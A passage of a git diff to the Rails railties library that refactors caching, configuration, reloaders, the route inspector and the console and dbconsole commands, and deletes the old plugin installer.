initializer :initialize_cache, :group => :all do
- unless defined?(RAILS_CACHE)
- silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) }
+ unless Rails.cache
+ Rails.cache = ActiveSupport::Cache.lookup_store(config.cache_store)
- if RAILS_CACHE.respond_to?(:middleware)
- config.middleware.insert_before("Rack::Runtime", RAILS_CACHE.middleware)
+ if Rails.cache.respond_to?(:middleware)
+ config.middleware.insert_before("Rack::Runtime", Rails.cache.middleware)
end
end
end
- initializer :set_clear_dependencies_hook, :group => :all do
- ActionDispatch::Reloader.to_cleanup do
- ActiveSupport::DescendantsTracker.clear
- ActiveSupport::Dependencies.clear
- end
- end
-
# Sets the dependency loading mechanism.
# TODO: Remove files from the $" and always use require.
initializer :initialize_dependency_mechanism, :group => :all do
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 448521d2f0..a2e5dece16 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,17 +1,18 @@
-require 'active_support/core_ext/string/encoding'
require 'active_support/core_ext/kernel/reporting'
+require 'active_support/file_update_checker'
require 'rails/engine/configuration'
module Rails
class Application
class Configuration < ::Rails::Engine::Configuration
- attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets,
- :cache_classes, :cache_store, :consider_all_requests_local,
- :dependency_loading, :filter_parameters,
- :force_ssl, :helpers_paths, :logger, :preload_frameworks,
- :reload_plugins, :secret_token, :serve_static_assets,
- :ssl_options, :static_cache_control, :session_options,
- :time_zone, :whiny_nils
+ attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets, :autoflush_log,
+ :cache_classes, :cache_store, :consider_all_requests_local, :console,
+ :dependency_loading, :exceptions_app, :file_watcher, :filter_parameters,
+ :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
+ :preload_frameworks, :railties_order, :relative_url_root, :secret_token,
+ :serve_static_assets, :ssl_options, :static_cache_control, :session_options,
+ :time_zone, :reload_classes_only_on_change, :use_schema_cache_dump,
+ :queue, :queue_consumer
attr_writer :log_level
attr_reader :encoding
@@ -19,22 +20,32 @@ module Rails
def initialize(*)
super
self.encoding = "utf-8"
- @allow_concurrency = false
- @consider_all_requests_local = false
- @filter_parameters = []
- @helpers_paths = []
- @dependency_loading = true
- @serve_static_assets = true
- @static_cache_control = nil
- @force_ssl = false
- @ssl_options = {}
- @session_store = :cookie_store
- @session_options = {}
- @time_zone = "UTC"
- @log_level = nil
- @middleware = app_middleware
- @generators = app_generators
- @cache_store = [ :file_store, "#{root}/tmp/cache/" ]
+ @allow_concurrency = false
+ @consider_all_requests_local = false
+ @filter_parameters = []
+ @helpers_paths = []
+ @dependency_loading = true
+ @serve_static_assets = true
+ @static_cache_control = nil
+ @force_ssl = false
+ @ssl_options = {}
+ @session_store = :cookie_store
+ @session_options = {}
+ @time_zone = "UTC"
+ @log_level = nil
+ @middleware = app_middleware
+ @generators = app_generators
+ @cache_store = [ :file_store, "#{root}/tmp/cache/" ]
+ @railties_order = [:all]
+ @relative_url_root = ENV["RAILS_RELATIVE_URL_ROOT"]
+ @reload_classes_only_on_change = true
+ @file_watcher = ActiveSupport::FileUpdateChecker
+ @exceptions_app = nil
+ @autoflush_log = true
+ @log_formatter = ActiveSupport::Logger::SimpleFormatter.new
+ @use_schema_cache_dump = true
+ @queue = Rails::Queueing::Queue
+ @queue_consumer = Rails::Queueing::ThreadedConsumer
@assets = ActiveSupport::OrderedOptions.new
@assets.enabled = false
@@ -51,6 +62,7 @@ module Rails
@assets.js_compressor = nil
@assets.css_compressor = nil
@assets.initialize_on_precompile = true
+ @assets.logger = nil
end
def compiled_asset_path
@@ -59,17 +71,9 @@ module Rails
def encoding=(value)
@encoding = value
- if "ruby".encoding_aware?
- silence_warnings do
- Encoding.default_external = value
- Encoding.default_internal = value
- end
- else
- $KCODE = value
- if $KCODE == "NONE"
- raise "The value you specified for config.encoding is " \
- "invalid. The possible values are UTF8, SJIS, or EUC"
- end
+ silence_warnings do
+ Encoding.default_external = value
+ Encoding.default_internal = value
end
end
@@ -93,10 +97,10 @@ module Rails
# after boot, and disables reloading code on every request, as these are
# fundamentally incompatible with thread safety.
def threadsafe!
- self.preload_frameworks = true
- self.cache_classes = true
- self.dependency_loading = false
- self.allow_concurrency = true
+ @preload_frameworks = true
+ @cache_classes = true
+ @dependency_loading = false
+ @allow_concurrency = true
self
end
@@ -105,7 +109,7 @@ module Rails
# YAML::load.
def database_configuration
require 'erb'
- YAML::load(ERB.new(IO.read(paths["config/database"].first)).result)
+ YAML.load ERB.new(IO.read(paths["config/database"].first)).result
end
def log_level
@@ -113,11 +117,10 @@ module Rails
end
def colorize_logging
- @colorize_logging
+ ActiveSupport::LogSubscriber.colorize_logging
end
def colorize_logging=(val)
- @colorize_logging = val
ActiveSupport::LogSubscriber.colorize_logging = val
self.generators.colorize_logging = val
end
@@ -139,6 +142,11 @@ module Rails
@session_options = args.shift || {}
end
end
+
+ def whiny_nils=(*)
+ ActiveSupport::Deprecation.warn "config.whiny_nils option " \
+ "is deprecated and no longer works", caller
+ end
end
end
end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 028c8814c4..84f2601f28 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -19,16 +19,10 @@ module Rails
end
end
- initializer :add_to_prepare_blocks do
- config.to_prepare_blocks.each do |block|
- ActionDispatch::Reloader.to_prepare(&block)
- end
- end
-
initializer :add_builtin_route do |app|
if Rails.env.development?
app.routes.append do
- match '/rails/info/properties' => "rails/info#properties"
+ get '/rails/info/properties' => "rails/info#properties"
end
end
end
@@ -37,32 +31,60 @@ module Rails
build_middleware_stack
end
- initializer :run_prepare_callbacks do
- ActionDispatch::Reloader.prepare!
- end
-
initializer :define_main_app_helper do |app|
app.routes.define_mounted_helper(:main_app)
end
+ initializer :add_to_prepare_blocks do
+ config.to_prepare_blocks.each do |block|
+ ActionDispatch::Reloader.to_prepare(&block)
+ end
+ end
+
+ # This needs to happen before eager load so it happens
+ # in exactly the same point regardless of config.cache_classes
+ initializer :run_prepare_callbacks do
+ ActionDispatch::Reloader.prepare!
+ end
+
initializer :eager_load! do
- if config.cache_classes && !$rails_rake_task
+ if config.cache_classes && !(defined?($rails_rake_task) && $rails_rake_task)
ActiveSupport.run_load_hooks(:before_eager_load, self)
eager_load!
end
end
+ # All initialization is done, including eager loading in production
initializer :finisher_hook do
ActiveSupport.run_load_hooks(:after_initialize, self)
end
- # Force routes to be loaded just at the end and add it to to_prepare callbacks
- # This needs to be after the finisher hook to ensure routes added in the hook
- # are still loaded.
- initializer :set_routes_reloader do |app|
- reloader = lambda { app.routes_reloader.execute_if_updated }
- reloader.call
- ActionDispatch::Reloader.to_prepare(&reloader)
+ # Set app reload just after the finisher hook to ensure
+ # routes added in the hook are still loaded.
+ initializer :set_routes_reloader_hook do
+ reloader = routes_reloader
+ reloader.execute_if_updated
+ self.reloaders << reloader
+ ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+ end
+
+ # Set app reload just after the finisher hook to ensure
+ # paths added in the hook are still loaded.
+ initializer :set_clear_dependencies_hook, :group => :all do
+ callback = lambda do
+ ActiveSupport::DescendantsTracker.clear
+ ActiveSupport::Dependencies.clear
+ end
+
+ if config.reload_classes_only_on_change
+ reloader = config.file_watcher.new(*watchable_args, &callback)
+ self.reloaders << reloader
+ # We need to set a to_prepare callback regardless of the reloader result, i.e.
+ # models should be reloaded if any of the reloaders (i18n, routes) were updated.
+ ActionDispatch::Reloader.to_prepare(:prepend => true){ reloader.execute }
+ else
+ ActionDispatch::Reloader.to_cleanup(&callback)
+ end
end
# Disable dependency loading during request cycle
@@ -71,6 +93,13 @@ module Rails
ActiveSupport::Dependencies.unhook!
end
end
+
+ initializer :activate_queue_consumer do |app|
+ if config.queue == Rails::Queueing::Queue
+ app.queue_consumer = config.queue_consumer.start(app.queue)
+ at_exit { app.queue_consumer.shutdown }
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/application/railties.rb b/railties/lib/rails/application/railties.rb
index 8f3a3e8bbb..f20a9689de 100644
--- a/railties/lib/rails/application/railties.rb
+++ b/railties/lib/rails/application/railties.rb
@@ -4,7 +4,7 @@ module Rails
class Application < Engine
class Railties < Rails::Engine::Railties
def all(&block)
- @all ||= railties + engines + plugins
+ @all ||= railties + engines
@all.each(&block) if block
@all
end
diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb
index 8c6911e6bb..b23fb3e920 100644
--- a/railties/lib/rails/application/route_inspector.rb
+++ b/railties/lib/rails/application/route_inspector.rb
@@ -1,35 +1,113 @@
+require 'delegate'
+
module Rails
class Application
+ class RouteWrapper < SimpleDelegator
+ def endpoint
+ rack_app ? rack_app.inspect : "#{controller}##{action}"
+ end
+
+ def constraints
+ requirements.except(:controller, :action)
+ end
+
+ def rack_app(app = self.app)
+ @rack_app ||= begin
+ class_name = app.class.name.to_s
+ if class_name == "ActionDispatch::Routing::Mapper::Constraints"
+ rack_app(app.app)
+ elsif ActionDispatch::Routing::Redirect === app || class_name !~ /^ActionDispatch::Routing/
+ app
+ end
+ end
+ end
+
+ def verb
+ super.source.gsub(/[$^]/, '')
+ end
+
+ def path
+ super.spec.to_s
+ end
+
+ def name
+ super.to_s
+ end
+
+ def reqs
+ @reqs ||= begin
+ reqs = endpoint
+ reqs += " #{constraints.inspect}" unless constraints.empty?
+ reqs
+ end
+ end
+
+ def controller
+ requirements[:controller] || ':controller'
+ end
+
+ def action
+ requirements[:action] || ':action'
+ end
+
+ def internal?
+ path =~ %r{/rails/info/properties|^#{Rails.application.config.assets.prefix}}
+ end
+
+ def engine?
+ rack_app && rack_app.respond_to?(:routes)
+ end
+ end
+
##
# This class is just used for displaying route information when someone
# executes `rake routes`. People should not use this class.
class RouteInspector # :nodoc:
- def format all_routes, filter = nil
+ def initialize
+ @engines = Hash.new
+ end
+
+ def format(all_routes, filter = nil)
if filter
all_routes = all_routes.select{ |route| route.defaults[:controller] == filter }
end
- routes = all_routes.collect do |route|
+ routes = collect_routes(all_routes)
- reqs = route.requirements.dup
- rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/
+ formatted_routes(routes) +
+ formatted_routes_for_engines
+ end
- endpoint = rack_app ? rack_app.inspect : "#{reqs[:controller]}##{reqs[:action]}"
- constraints = reqs.except(:controller, :action)
+ def collect_routes(routes)
+ routes = routes.collect do |route|
+ RouteWrapper.new(route)
+ end.reject do |route|
+ route.internal?
+ end.collect do |route|
+ collect_engine_routes(route)
- reqs = endpoint == '#' ? '' : endpoint
+ {:name => route.name, :verb => route.verb, :path => route.path, :reqs => route.reqs }
+ end
+ end
- unless constraints.empty?
- reqs = reqs.empty? ? constraints.inspect : "#{reqs} #{constraints.inspect}"
- end
+ def collect_engine_routes(route)
+ name = route.endpoint
+ return unless route.engine?
+ return if @engines[name]
- verb = route.verb.source.gsub(/[$^]/, '')
- {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs}
+ routes = route.rack_app.routes
+ if routes.is_a?(ActionDispatch::Routing::RouteSet)
+ @engines[name] = collect_routes(routes.routes)
end
+ end
- # Skip the route if it's internal info route
- routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} }
+ def formatted_routes_for_engines
+ @engines.map do |name, routes|
+ ["\nRoutes for #{name}:"] + formatted_routes(routes)
+ end.flatten
+ end
+ def formatted_routes(routes)
name_width = routes.map{ |r| r[:name].length }.max
verb_width = routes.map{ |r| r[:verb].length }.max
path_width = routes.map{ |r| r[:path].length }.max
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
index 1d1f5e1b06..19f616ec50 100644
--- a/railties/lib/rails/application/routes_reloader.rb
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -1,11 +1,15 @@
+require "active_support/core_ext/module/delegation"
+
module Rails
class Application
- class RoutesReloader < ::ActiveSupport::FileUpdateChecker
- attr_reader :route_sets
+ class RoutesReloader
+ attr_reader :route_sets, :paths, :external_routes
+ delegate :execute_if_updated, :execute, :updated?, :to => :updater
def initialize
- super([]) { reload! }
- @route_sets = []
+ @paths = []
+ @route_sets = []
+ @external_routes = []
end
def reload!
@@ -16,7 +20,19 @@ module Rails
revert
end
- protected
+ private
+
+ def updater
+ @updater ||= begin
+ dirs = @external_routes.each_with_object({}) do |dir, hash|
+ hash[dir.to_s] = %w(rb)
+ end
+
+ updater = ActiveSupport::FileUpdateChecker.new(paths, dirs) { reload! }
+ updater.execute
+ updater
+ end
+ end
def clear!
route_sets.each do |routes|
@@ -31,7 +47,7 @@ module Rails
def finalize!
route_sets.each do |routes|
- ActiveSupport.on_load(:action_controller) { routes.finalize! }
+ routes.finalize!
end
end
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index 36fd9aea19..8cc8eb1103 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -17,26 +17,11 @@ module Rails
private
def add_gem_filters
- return unless defined?(Gem)
-
- gems_paths = (Gem.path + [Gem.default_dir]).uniq.map!{ |p| Regexp.escape(p) }
+ gems_paths = (Gem.path | [Gem.default_dir]).map { |p| Regexp.escape(p) }
return if gems_paths.empty?
gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
add_filter { |line| line.sub(gems_regexp, '\2 (\3) \4') }
end
end
-
- # For installing the BacktraceCleaner in the test/unit
- module BacktraceFilterForTestUnit #:nodoc:
- def self.included(klass)
- klass.send :alias_method_chain, :filter_backtrace, :cleaning
- end
-
- def filter_backtrace_with_cleaning(backtrace, prefix=nil)
- backtrace = filter_backtrace_without_cleaning(backtrace, prefix)
- backtrace = backtrace.first.split("\n") if backtrace.size == 1
- Rails.backtrace_cleaner.clean(backtrace)
- end
- end
end
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
index e6822b75b7..bcac0751d6 100644
--- a/railties/lib/rails/code_statistics.rb
+++ b/railties/lib/rails/code_statistics.rb
@@ -37,13 +37,26 @@ class CodeStatistics #:nodoc:
next unless file_name =~ pattern
- f = File.open(directory + "/" + file_name)
-
- while line = f.gets
- stats["lines"] += 1
- stats["classes"] += 1 if line =~ /class [A-Z]/
- stats["methods"] += 1 if line =~ /def [a-z]/
- stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/
+ comment_started = false
+
+ File.open(directory + "/" + file_name) do |f|
+ while line = f.gets
+ stats["lines"] += 1
+ if(comment_started)
+ if line =~ /^=end/
+ comment_started = false
+ end
+ next
+ else
+ if line =~ /^=begin/
+ comment_started = true
+ next
+ end
+ end
+ stats["classes"] += 1 if line =~ /^\s*class\s+[_A-Z]/
+ stats["methods"] += 1 if line =~ /^\s*def\s+[_a-z]/
+ stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/
+ end
end
end
@@ -82,13 +95,7 @@ class CodeStatistics #:nodoc:
m_over_c = (statistics["methods"] / statistics["classes"]) rescue m_over_c = 0
loc_over_m = (statistics["codelines"] / statistics["methods"]) - 2 rescue loc_over_m = 0
- start = if TEST_TYPES.include? name
- "| #{name.ljust(20)} "
- else
- "| #{name.ljust(20)} "
- end
-
- puts start +
+ puts "| #{name.ljust(20)} " +
"| #{statistics["lines"].to_s.rjust(5)} " +
"| #{statistics["codelines"].to_s.rjust(5)} " +
"| #{statistics["classes"].to_s.rjust(7)} " +
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index ada150ceec..7f473c237c 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -57,16 +57,19 @@ when 'server'
when 'dbconsole'
require 'rails/commands/dbconsole'
- require APP_PATH
- Rails::DBConsole.start(Rails.application)
+ Rails::DBConsole.start
when 'application', 'runner'
require "rails/commands/#{command}"
when 'new'
- puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
- puts "Type 'rails' for help."
- exit(1)
+ if ARGV.first.in?(['-h', '--help'])
+ require 'rails/commands/application'
+ else
+ puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+ puts "Type 'rails' for help."
+ exit(1)
+ end
when '--version', '-v'
ARGV.unshift '--version'
@@ -91,7 +94,7 @@ In addition to those, there are:
destroy Undo code generated with "generate" (short-cut alias: "d")
benchmarker See how fast a piece of code runs
profiler Get profile information from a piece of code
- plugin Install a plugin
+ plugin new Generates skeleton for developing a Rails plugin
runner Run a piece of code in the application environment (short-cut alias: "r")
All commands can be run with -h (or --help) for more information.
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index 60d1aed73a..2cb6d5ca2e 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -19,7 +19,6 @@ else
end
end
-require 'rubygems' if ARGV.include?("--dev")
require 'rails/generators'
require 'rails/generators/rails/app/app_generator'
diff --git a/railties/lib/rails/commands/benchmarker.rb b/railties/lib/rails/commands/benchmarker.rb
index 6c52d0f70f..b745b45e17 100644
--- a/railties/lib/rails/commands/benchmarker.rb
+++ b/railties/lib/rails/commands/benchmarker.rb
@@ -21,7 +21,7 @@ def options
options
end
-class BenchmarkerTest < ActionDispatch::PerformanceTest
+class BenchmarkerTest < ActionDispatch::PerformanceTest #:nodoc:
self.profile_options = options
ARGV.each do |expression|
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index 32e361d421..cd6a03fe51 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -4,45 +4,81 @@ require 'irb/completion'
module Rails
class Console
- def self.start(app)
- new(app).start
- end
+ attr_reader :options, :app, :console, :arguments
- def initialize(app)
- @app = app
+ def self.start(*args)
+ new(*args).start
end
- def start
- options = {}
-
- OptionParser.new do |opt|
- opt.banner = "Usage: console [environment] [options]"
- opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
- opt.on("--debugger", 'Enable ruby-debugging for the console.') { |v| options[:debugger] = v }
- opt.on('--irb', "DEPRECATED: Invoke `/your/choice/of/ruby script/rails console` instead") { |v| abort '--irb option is no longer supported. Invoke `/your/choice/of/ruby script/rails console` instead' }
- opt.parse!(ARGV)
- end
+ def initialize(app, arguments = ARGV)
+ @app = app
+ @arguments = arguments
+ app.load_console
+ @console = app.config.console || IRB
+ end
- @app.sandbox = options[:sandbox]
- @app.load_console
+ def options
+ @options ||= begin
+ options = {}
- if options[:debugger]
- begin
- require 'ruby-debug'
- puts "=> Debugger enabled"
- rescue Exception
- puts "You need to install ruby-debug to run the console in debugging mode. With gems, use 'gem install ruby-debug'"
- exit
+ OptionParser.new do |opt|
+ opt.banner = "Usage: console [environment] [options]"
+ opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
+ opt.on("-e", "--environment=name", String,
+ "Specifies the environment to run this console under (test/development/production).",
+ "Default: development") { |v| options[:environment] = v.strip }
+ opt.on("--debugger", 'Enable the debugger.') { |v| options[:debugger] = v }
+ opt.parse!(arguments)
end
+
+ options
end
+ end
+
+ def sandbox?
+ options[:sandbox]
+ end
+
+ def environment?
+ options[:environment]
+ end
+
+ def set_environment!
+ Rails.env = options[:environment]
+ end
- if options[:sandbox]
+ def debugger?
+ options[:debugger]
+ end
+
+ def start
+ app.sandbox = sandbox?
+
+ require_debugger if debugger?
+
+ set_environment! if environment?
+
+ if sandbox?
puts "Loading #{Rails.env} environment in sandbox (Rails #{Rails.version})"
puts "Any modifications you make will be rolled back on exit"
else
puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
end
- IRB.start
+
+ if defined?(console::ExtendCommandBundle)
+ console::ExtendCommandBundle.send :include, Rails::ConsoleMethods
+ end
+ console.start
+ end
+
+ def require_debugger
+ begin
+ require 'debugger'
+ puts "=> Debugger enabled"
+ rescue Exception
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
+ exit
+ end
end
end
end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index b0ba76217a..aaba47117f 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -1,22 +1,41 @@
require 'erb'
-
-begin
- require 'psych'
-rescue LoadError
-end
-
require 'yaml'
require 'optparse'
require 'rbconfig'
module Rails
class DBConsole
- def self.start(app)
- new(app).start
+ attr_reader :arguments, :config
+
+ def self.start
+ new(config).start
end
- def initialize(app)
- @app = app
+ def self.config
+ config = begin
+ YAML.load(ERB.new(IO.read("config/database.yml")).result)
+ rescue SyntaxError, StandardError
+ require APP_PATH
+ Rails.application.config.database_configuration
+ end
+
+ unless config[env]
+ abort "No database is configured for the environment '#{env}'"
+ end
+
+ config[env]
+ end
+
+ def self.env
+ if Rails.respond_to?(:env)
+ Rails.env
+ else
+ ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development"
+ end
+ end
+
+ def initialize(config, arguments = ARGV)
+ @config, @arguments = config, arguments
end
def start
@@ -33,33 +52,15 @@ module Rails
options['mode'] = mode
end
- opt.on("-h", "--header") do |h|
+ opt.on("--header") do |h|
options['header'] = h
end
- opt.parse!(ARGV)
- abort opt.to_s unless (0..1).include?(ARGV.size)
- end
-
- unless config = YAML::load(ERB.new(IO.read("#{@app.root}/config/database.yml")).result)[Rails.env]
- abort "No database is configured for the environment '#{Rails.env}'"
+ opt.parse!(arguments)
+ abort opt.to_s unless (0..1).include?(arguments.size)
end
- def find_cmd(*commands)
- dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
- commands += commands.map{|cmd| "#{cmd}.exe"} if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
-
- full_path_command = nil
- found = commands.detect do |cmd|
- dir = dirs_on_path.detect do |path|
- full_path_command = File.join(path, cmd)
- File.executable? full_path_command
- end
- end
- found ? full_path_command : abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
- end
-
case config["adapter"]
when /^mysql/
args = {
@@ -78,17 +79,17 @@ module Rails
args << config['database']
- exec(find_cmd('mysql', 'mysql5'), *args)
+ find_cmd_and_exec(['mysql', 'mysql5'], *args)
when "postgresql", "postgres"
ENV['PGUSER'] = config["username"] if config["username"]
ENV['PGHOST'] = config["host"] if config["host"]
ENV['PGPORT'] = config["port"].to_s if config["port"]
ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && include_password
- exec(find_cmd('psql'), config["database"])
+ find_cmd_and_exec('psql', config["database"])
when "sqlite"
- exec(find_cmd('sqlite'), config["database"])
+ find_cmd_and_exec('sqlite', config["database"])
when "sqlite3"
args = []
@@ -97,7 +98,7 @@ module Rails
args << "-header" if options['header']
args << config['database']
- exec(find_cmd('sqlite3'), *args)
+ find_cmd_and_exec('sqlite3', *args)
when "oracle", "oracle_enhanced"
logon = ""
@@ -108,12 +109,35 @@ module Rails
logon << "@#{config['database']}" if config['database']
end
- exec(find_cmd('sqlplus'), logon)
+ find_cmd_and_exec('sqlplus', logon)
else
abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
end
end
+
+ protected
+
+ def find_cmd_and_exec(commands, *args)
+ commands = Array(commands)
+
+ dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
+ commands += commands.map{|cmd| "#{cmd}.exe"} if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+
+ full_path_command = nil
+ found = commands.detect do |cmd|
+ dir = dirs_on_path.detect do |path|
+ full_path_command = File.join(path, cmd)
+ File.executable? full_path_command
+ end
+ end
+
+ if found
+ exec full_path_command, *args
+ else
+ abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+ end
+ end
end
end
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
deleted file mode 100644
index 4df849447d..0000000000
--- a/railties/lib/rails/commands/plugin.rb
+++ /dev/null
@@ -1,542 +0,0 @@
-# Rails Plugin Manager.
-#
-# Installing plugins:
-#
-# $ rails plugin install continuous_builder asset_timestamping
-#
-# Specifying revisions:
-#
-# * Subversion revision is a single integer.
-#
-# * Git revision format:
-# - full - 'refs/tags/1.8.0' or 'refs/heads/experimental'
-# - short: 'experimental' (equivalent to 'refs/heads/experimental')
-# 'tag 1.8.0' (equivalent to 'refs/tags/1.8.0')
-#
-#
-# This is Free Software, copyright 2005 by Ryan Tomayko (rtomayko@gmail.com)
-# and is licensed MIT: (http://www.opensource.org/licenses/mit-license.php)
-
-$verbose = false
-
-require 'open-uri'
-require 'fileutils'
-require 'tempfile'
-
-include FileUtils
-
-class RailsEnvironment
- attr_reader :root
-
- def initialize(dir)
- @root = dir
- end
-
- def self.find(dir=nil)
- dir ||= pwd
- while dir.length > 1
- return new(dir) if File.exist?(File.join(dir, 'config', 'environment.rb'))
- dir = File.dirname(dir)
- end
- end
-
- def self.default
- @default ||= find
- end
-
- def self.default=(rails_env)
- @default = rails_env
- end
-
- def install(name_uri_or_plugin)
- if name_uri_or_plugin.is_a? String
- if name_uri_or_plugin =~ /:\/\//
- plugin = Plugin.new(name_uri_or_plugin)
- else
- plugin = Plugins[name_uri_or_plugin]
- end
- else
- plugin = name_uri_or_plugin
- end
- if plugin
- plugin.install
- else
- puts "Plugin not found: #{name_uri_or_plugin}"
- end
- end
-
- def use_svn?
- require 'active_support/core_ext/kernel'
- silence_stderr {`svn --version` rescue nil}
- !$?.nil? && $?.success?
- end
-
- def use_externals?
- use_svn? && File.directory?("#{root}/vendor/plugins/.svn")
- end
-
- def use_checkout?
- # this is a bit of a guess. we assume that if the rails environment
- # is under subversion then they probably want the plugin checked out
- # instead of exported. This can be overridden on the command line
- File.directory?("#{root}/.svn")
- end
-
- def best_install_method
- return :http unless use_svn?
- case
- when use_externals? then :externals
- when use_checkout? then :checkout
- else :export
- end
- end
-
- def externals
- return [] unless use_externals?
- ext = `svn propget svn:externals "#{root}/vendor/plugins"`
- lines = ext.respond_to?(:lines) ? ext.lines : ext
- lines.reject{ |line| line.strip == '' }.map do |line|
- line.strip.split(/\s+/, 2)
- end
- end
-
- def externals=(items)
- unless items.is_a? String
- items = items.map{|name,uri| "#{name.ljust(29)} #{uri.chomp('/')}"}.join("\n")
- end
- Tempfile.open("svn-set-prop") do |file|
- file.write(items)
- file.flush
- system("svn propset -q svn:externals -F \"#{file.path}\" \"#{root}/vendor/plugins\"")
- end
- end
-end
-
-class Plugin
- attr_reader :name, :uri
-
- def initialize(uri, name = nil)
- @uri = uri
- guess_name(uri)
- end
-
- def self.find(name)
- new(name)
- end
-
- def to_s
- "#{@name.ljust(30)}#{@uri}"
- end
-
- def svn_url?
- @uri =~ /svn(?:\+ssh)?:\/\/*/
- end
-
- def git_url?
- @uri =~ /^git:\/\// || @uri =~ /\.git$/
- end
-
- def installed?
- File.directory?("#{rails_env.root}/vendor/plugins/#{name}") \
- or rails_env.externals.detect{ |name, repo| self.uri == repo }
- end
-
- def install(method=nil, options = {})
- method ||= rails_env.best_install_method?
- if :http == method
- method = :export if svn_url?
- method = :git if git_url?
- end
-
- uninstall if installed? and options[:force]
-
- unless installed?
- send("install_using_#{method}", options)
- run_install_hook
- else
- puts "already installed: #{name} (#{uri}). pass --force to reinstall"
- end
- end
-
- def uninstall
- path = "#{rails_env.root}/vendor/plugins/#{name}"
- if File.directory?(path)
- puts "Removing 'vendor/plugins/#{name}'" if $verbose
- run_uninstall_hook
- rm_r path
- else
- puts "Plugin doesn't exist: #{path}"
- end
-
- if rails_env.use_externals?
- # clean up svn:externals
- externals = rails_env.externals
- externals.reject!{|n, u| name == n or name == u}
- rails_env.externals = externals
- end
- end
-
- def info
- tmp = "#{rails_env.root}/_tmp_about.yml"
- if svn_url?
- cmd = "svn export #{@uri} \"#{rails_env.root}/#{tmp}\""
- puts cmd if $verbose
- system(cmd)
- end
- open(svn_url? ? tmp : File.join(@uri, 'about.yml')) do |stream|
- stream.read
- end rescue "No about.yml found in #{uri}"
- ensure
- FileUtils.rm_rf tmp if svn_url?
- end
-
- private
-
- def run_install_hook
- install_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/install.rb"
- load install_hook_file if File.exist? install_hook_file
- end
-
- def run_uninstall_hook
- uninstall_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/uninstall.rb"
- load uninstall_hook_file if File.exist? uninstall_hook_file
- end
-
- def install_using_export(options = {})
- svn_command :export, options
- end
-
- def install_using_checkout(options = {})
- svn_command :checkout, options
- end
-
- def install_using_externals(options = {})
- externals = rails_env.externals
- externals.push([@name, uri])
- rails_env.externals = externals
- install_using_checkout(options)
- end
-
- def install_using_http(options = {})
- root = rails_env.root
- mkdir_p "#{root}/vendor/plugins/#{@name}"
- Dir.chdir "#{root}/vendor/plugins/#{@name}" do
- puts "fetching from '#{uri}'" if $verbose
- fetcher = RecursiveHTTPFetcher.new(uri, -1)
- fetcher.quiet = true if options[:quiet]
- fetcher.fetch
- end
- end
-
- def install_using_git(options = {})
- root = rails_env.root
- mkdir_p(install_path = "#{root}/vendor/plugins/#{name}")
- Dir.chdir install_path do
- init_cmd = "git init"
- init_cmd += " -q" if options[:quiet] and not $verbose
- puts init_cmd if $verbose
- system(init_cmd)
- base_cmd = "git pull --depth 1 #{uri}"
- base_cmd += " -q" if options[:quiet] and not $verbose
- base_cmd += " #{options[:revision]}" if options[:revision]
- puts base_cmd if $verbose
- if system(base_cmd)
